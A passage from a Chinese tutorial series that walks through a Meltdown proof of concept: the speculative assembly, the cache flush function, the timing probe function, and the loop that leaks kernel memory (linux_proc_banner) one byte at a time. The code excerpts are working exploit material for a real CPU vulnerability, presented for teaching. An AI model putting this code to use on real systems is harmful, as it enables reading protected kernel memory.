一步一步理解CPU芯片漏洞:Meltdown与Spectre(3)

movzx (%[addr]), %%eax: 对应上一章节指令序列的第三条指令,将攻击者的目标内核地址所指向的数据放入eax寄存器中,该操作会触发处理器异常

shl $12, %%rax: 对应上一章节指令序列第四条指令,左移12位,也就是乘以4096,大小与target_array数组的列相等,为推测内核地址指向的数据做准备。

Reload阶段

movzx (%%rbx, %%rax, 1), %%rbx:
对应上一章节指令序列第五条指令,以目标内核地址指向的数据乘以4096作为索引访问target_array数组,这时,不同的数据将会被加载到不同的缓存页面中。这个过程正是进行缓存侧信道攻击的Reload阶段做的事情。

Flush阶段

在调用speculate函数窃取数据之前,攻击者会故意冲洗掉target_array的缓存,也就是进行缓存侧信道攻击的Flush阶段,由clflush_target函数实现:

void clflush_target(void)
{
    int i;

for (i = 0; i < VARIANTS_READ; i++)
        _mm_clflush(&target_array[i * TARGET_SIZE]);
}

执行完movzx (%%rbx, %%rax, 1)指令之后,处理器开始处理异常,攻击者则注册一个信号处理器,直接修改程序指针寄存器,将执行位置跳转到stopspeculate指令继续执行即nop指令。

Probe阶段

待Flush阶段与Speculate阶段(包含Reload阶段)做完准备工作后,Probe阶段真正去探测内核地址指向的数据。

也就是执行完speculate函数之后,开始执行check函数,代码如下:

void check(void)
{
    int i, time, mix_i;
    volatile char *addr;

for (i = 0; i < VARIANTS_READ; i++) {
        mix_i = ((i * 167) + 13) & 255;

addr = &target_array[mix_i * TARGET_SIZE];
        time = get_access_time(addr);

if (time <= cache_hit_threshold)
            hist[mix_i]++;
    }
}

check函数就是为了检测不同内存数据访问的时间差异来探测被缓存过的数据。简单来说,获取数据就是获取target_array数组索引的过程。
由于target_array的大小为256*4096,所以最多只要测试256次,就可以推测出内核地址指向的数据中的一个字节是否被访问过了。注意,这里为什么是一个字节,前面说过一个字节正好最大可以表示255即256个数。所以要推测出内核地址指向的完整数据,需要不断循环这个过程,也就是下一段代码做的事情:

for (score = 0, i = 0; i < size; i++) {
        ret = readbyte(fd, addr);
        if (ret == -1)
            ret = 0xff;
        printf("read %lx = %x %c (score=%d/%d)\n",
              addr, ret, isprint(ret) ? ret : ' ',
              ret != 0xff ? hist[ret] : 0,
              CYCLES);

if (i < sizeof(expected) &&
            ret == expected[i])
            score++;

addr++;
    }

而readbyte函数会循环调用clflush_target(),speculate(addr),check()。如下代码:

for (i = 0; i < CYCLES; i++) {
        ret = pread(fd, buf, sizeof(buf), 0);
        if (ret < 0) {
            perror("pread");
            break;
        }

clflush_target();

speculate(addr);
        check();
    }

这也正是前面讲到的Flush阶段(对应clflush_target()),Speculate阶段(对应speculate函数,其中包含Reload阶段)以及Probe阶段(对应check())。

至此,攻击者窃据数据过程完成。

下图为该POC的运行结果:

一步一步理解CPU芯片漏洞:Meltdown与Spectre

该利用程序是一个一个字节读取linux_proc_banner地址中的内容,可以运行cat /proc/version命令对比结果,只要利用Meltdown窃取的数据足够多,窃取的数据和该命令的运行结果是一致的。可见攻击者成功执行攻击。

值得进一步思考的问题

1.该利用代码一次只能探测一个字节的数据,如果在内核数据还没读取完整之前处理器已经处理异常了该怎么办?

2. 探测数组target_array是否可以不用设置成256*4KB,设置成512*2KB,1024*1KB效果会如何?

3. 探测数组target_array是个大数组,占用多个内存页面,是否容易被检测到?

0X03 漏洞危害

Meltdown与Spectre本质上都是基于缓存侧信道的攻击。

内容版权声明:除非注明,否则皆为本站原创文章。

转载注明出处:https://www.heiqu.com/5183437e7a9f9b6721710e28dadd4f80.html